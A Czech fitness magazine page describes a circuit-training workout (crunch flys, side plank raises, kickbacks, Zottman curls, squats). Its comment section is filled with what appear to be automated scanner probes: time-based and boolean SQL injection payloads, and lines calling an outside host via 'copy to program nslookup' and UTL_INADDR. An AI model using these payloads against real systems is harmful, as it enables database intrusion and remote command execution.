reklama
cz / EN / esp

Posilování: kruhový trénink

Rychlé a jednoduché cviky pro kompletní procvičení vašeho těla. Get ready for the summer!

reklama

Hrudník, břicho, ramena, biceps, triceps a nohy. Všechny tyto partie si procvičíte tímto kruhovým tréninkem. Cviky jsou technicky jednoduché, inspirativní. Věřím, že po odcvičení tohoto tréninku budete příjemně cítit namožené svaly v celém těle a vaše svaly získají potřebný tonus.

Toto je typ kruhového tréninku. To znamená, že vykonáváte jednotlivé cviky v daném pořadí za sebou, v tomto případě 6 sérií cviků v daném časovém rozsahu. Mezi jednotlivými cviky si dáte pauzu 15 sekund.

 



Pro správné provedení cviků si jednotlivá cvičeni postupně projdeme:

Crunch Flys - při tomto cviku zapojíte vrchní část břišních svalů spolu se středem prsních svalů. Ve vrcholné fázi při přiblížení rukou k sobě zaktivujte břišní svalstvo zvednutím lopatek od podložky a úmyslně zatněte prsní svalstvo. Ruce nejsou úplně natažené, ale mírně pokrčené.

 

 

Side plank lateral raise- jde o variaci klasické výdrže - planku, tentokrát s posílením bočních břišních svalů a zapojením středního deltového svalu ramene. Ve statické poloze těla zvedejte mírně ohnutou ruku do takové výšky, kdy stále cítíte napětí v ramenou.

 

 

Kneelong kickback - klasický kickback v jiné poloze - v tomto případě sedíte vkleče v mírném předklonu. Pokud vás při kleku bolí kolena, můžete si nohy podložit podložkou.

 

 

Zottman curl – ideální pro posílení bicepsu. Při zvedání jednoruček vytočte osy jednoruček do vnějších stran, při zpětném pohybu je vraťte do původní polohy.

 

 

Squats - klasické dřepy bez zatěže, při kterých ve spodní poloze pohybu předpažujete ruce.

Michael Achberger / 27.04.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





1acuoTwVgMQ6P2 15.05.2018
1
blnahoei 15.05.2018
1acu0uP5DRdmOR
1acuoTwVgMQ6P2 15.05.2018
1
blnahoei 15.05.2018
1
blnahoei 15.05.2018
1acu0uP5DRdmOR
blnahoei 15.05.2018
1acu0uP5DRdmOR
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
713' 14.05.2018
1
713' 14.05.2018
1
twcbdlcq';copy (select '') to program 'nslookup dns.sqli.\039481.50-6593.50.532c9.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6591.50.532c9.1.bxss'||'.me')||' 14.05.2018
1
IPbbRdwD'));select pg_sleep(41.376); -- 14.05.2018
1
XqkhUUin');select pg_sleep(41.376); -- 14.05.2018
1
y9JHV1qg';select pg_sleep(41.376); -- 14.05.2018
1
ecShhP6d'; waitfor delay '0:0:20.688' -- 14.05.2018
1
1 waitfor delay '0:0:20.688' -- 14.05.2018
1
(select(0)from(select(sleep(20.688)))v)/*'+(select(0)from(select(sleep(20.688)))v)+'"+(select(0)from(select(sleep(20.688)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(20.688),0)/*'XOR(if(now()=sysdate(),sleep(20.688),0))OR'"XOR(if(now()=sysdate(),sleep(20.688),0))OR"*/ 14.05.2018
1
-1" OR 3*2>(0+5+671-671) -- 14.05.2018
1
-1" OR 3*2>(0+5+671-671) -- 14.05.2018
1
-1" OR 3*2>(0+5+671-671) -- 14.05.2018
1
-1" OR 3*2<(0+5+671-671) -- 14.05.2018
1
-1" OR 3*2<(0+5+671-671) -- 14.05.2018
1
-1" OR 3+671-671-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+671-671-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+703-703) or 'in5gB6Na'=' 14.05.2018
1
-1' OR 3*2<(0+5+703-703) or 'in5gB6Na'=' 14.05.2018
1
-1' OR 3+703-703-1=0+0+0+1 or 'in5gB6Na'=' 14.05.2018
1
-1' OR 2+703-703-1=0+0+0+1 or 'in5gB6Na'=' 14.05.2018
1
-1' OR 3*2<(0+5+769-769) -- 14.05.2018
1
-1' OR 3*2>(0+5+769-769) -- 14.05.2018
1
ilddyiie 14.05.2018
1
-1' OR 3*2<(0+5+769-769) -- 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
-1' OR 3+769-769-1=0+0+0+1 -- 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
-1' OR 2+769-769-1=0+0+0+1 -- 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
-1' OR 2+769-769-1=0+0+0+1 -- 14.05.2018
1
ilddyiie 14.05.2018
1
-1 OR 3*2>(0+5+864-864) 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
-1 OR 3*2>(0+5+864-864) 14.05.2018
1
-1 OR 3*2>(0+5+864-864) 14.05.2018
1
-1 OR 3*2<(0+5+864-864) 14.05.2018
1
ilddyiie 14.05.2018
1
-1 OR 3*2<(0+5+864-864) 14.05.2018
1
-1 OR 3*2<(0+5+864-864) 14.05.2018
1
-1 OR 3*2<(0+5+864-864) 14.05.2018
1
-1 OR 3+864-864-1=0+0+0+1 14.05.2018
1
-1 OR 2+864-864-1=0+0+0+1 14.05.2018
1
-1 OR 2+864-864-1=0+0+0+1 14.05.2018
1
-1 OR 2+864-864-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+963-963) -- 14.05.2018
1
-1 OR 3*2>(0+5+963-963) -- 14.05.2018
1
-1 OR 3*2<(0+5+963-963) -- 14.05.2018
1
-1 OR 3*2<(0+5+963-963) -- 14.05.2018
1
-1 OR 3+963-963-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+963-963-1=0+0+0+1 -- 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
ilddyiie 14.05.2018
1
''"" 14.05.2018
1
''"" 14.05.2018
1
''"" 14.05.2018
1
'" 14.05.2018
1
JyI= 14.05.2018
1
@@iUV8C 14.05.2018
1
1%2527%2522 14.05.2018
1
\ 14.05.2018
1
\ 14.05.2018
1
twcbdlcq 14.05.2018
653'
twcbdlcq 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-6530.50.532c9.\1.bxss.me
1'" 14.05.2018
1
ilddyiie 14.05.2018
1
twcbdlcq 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-6530.50.532c9.\1.bxss.me
ilddyiie 14.05.2018
1
twcbdlcq 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6528.50.532c9.\1.bxss.me'
twcbdlcq 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6527.50.532c9.1.bxss'||'.me')||'
twcbdlcq 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6527.50.532c9.1.bxss'||'.me')||'
twcbdlcq 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6524.50.532c9.1.bxss'||'.me')
twcbdlcq 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6524.50.532c9.1.bxss'||'.me')
twcbdlcq 14.05.2018
sd9SJKrY'));select pg_sleep(46.548); --
twcbdlcq 14.05.2018
QO7uHwF9');select pg_sleep(31.032); --
twcbdlcq 14.05.2018
K7TS6JSy';select pg_sleep(31.032); --
twcbdlcq 14.05.2018
-1;select pg_sleep(15.516); --
twcbdlcq 14.05.2018
-1));select pg_sleep(31.032); --
twcbdlcq 14.05.2018
-1);select pg_sleep(15.516); --
twcbdlcq 14.05.2018
-1;select pg_sleep(31.032); --
twcbdlcq 14.05.2018
8zJkQwFb'; waitfor delay '0:0:31.032' --
twcbdlcq 14.05.2018
dA0YjrWm'; waitfor delay '0:0:15.516' --
twcbdlcq 14.05.2018
-1); waitfor delay '0:0:0' --
twcbdlcq 14.05.2018
1 waitfor delay '0:0:15.516' --
twcbdlcq 14.05.2018
-1); waitfor delay '0:0:15.516' --
twcbdlcq 14.05.2018
-1; waitfor delay '0:0:46.548' --
twcbdlcq 14.05.2018
(select(0)from(select(sleep(46.548)))v)/*'+(select(0)from(select(sleep(46.548)))v)+'"+(select(0)from(select(sleep(46.548)))v)+"*/
twcbdlcq 14.05.2018
if(now()=sysdate(),sleep(46.548),0)/*'XOR(if(now()=sysdate(),sleep(46.548),0))OR'"XOR(if(now()=sysdate(),sleep(46.548),0))OR"*/
ilddyiie 14.05.2018
''""
ilddyiie 14.05.2018
'"
twcbdlcq 14.05.2018
-1" OR 3*2>(0+5+273-273) --
twcbdlcq 14.05.2018
-1" OR 3*2<(0+5+273-273) --
ilddyiie 14.05.2018
JyI=
ilddyiie 14.05.2018
@@v5ZCd
ilddyiie 14.05.2018
1%2527%2522
twcbdlcq 14.05.2018
-1" OR 3+273-273-1=0+0+0+1 --
twcbdlcq 14.05.2018
-1" OR 2+273-273-1=0+0+0+1 --
ilddyiie 14.05.2018
\
twcbdlcq 14.05.2018
-1" OR 2+273-273-1=0+0+0+1 --
ilddyiie 14.05.2018
1'"
ilddyiie 14.05.2018
1
twcbdlcq 14.05.2018
-1" OR 2+273-273-1=0+0+0+1 --
twcbdlcq 14.05.2018
-1' OR 3*2>(0+5+863-863) or 'xv1HDn7n'='
twcbdlcq 14.05.2018
-1' OR 3*2<(0+5+863-863) or 'xv1HDn7n'='
twcbdlcq 14.05.2018
-1' OR 3+863-863-1=0+0+0+1 or 'xv1HDn7n'='
twcbdlcq 14.05.2018
-1' OR 2+863-863-1=0+0+0+1 or 'xv1HDn7n'='
twcbdlcq 14.05.2018
-1' OR 3*2>(0+5+288-288) --
twcbdlcq 14.05.2018
-1' OR 3*2<(0+5+288-288) --
twcbdlcq 14.05.2018
-1' OR 3+288-288-1=0+0+0+1 --
twcbdlcq 14.05.2018
-1' OR 2+288-288-1=0+0+0+1 --
twcbdlcq 14.05.2018
-1 OR 3*2>(0+5+620-620)
twcbdlcq 14.05.2018
-1 OR 3+620-620-1=0+0+0+1
twcbdlcq 14.05.2018
-1 OR 3*2<(0+5+620-620)
twcbdlcq 14.05.2018
-1 OR 3+620-620-1=0+0+0+1
twcbdlcq 14.05.2018
-1 OR 3+620-620-1=0+0+0+1
twcbdlcq 14.05.2018
-1 OR 2+620-620-1=0+0+0+1
twcbdlcq 14.05.2018
-1 OR 3*2>(0+5+713-713) --
twcbdlcq 14.05.2018
-1 OR 3*2>(0+5+713-713) --
twcbdlcq 14.05.2018
-1 OR 3*2>(0+5+713-713) --
twcbdlcq 14.05.2018
-1 OR 3*2<(0+5+713-713) --
twcbdlcq 14.05.2018
-1 OR 3*2<(0+5+713-713) --
twcbdlcq 14.05.2018
-1 OR 3*2<(0+5+713-713) --
twcbdlcq 14.05.2018
-1 OR 3+713-713-1=0+0+0+1 --
twcbdlcq 14.05.2018
-1 OR 2+713-713-1=0+0+0+1 --
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
twcbdlcq 14.05.2018
1
kmrxiato 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag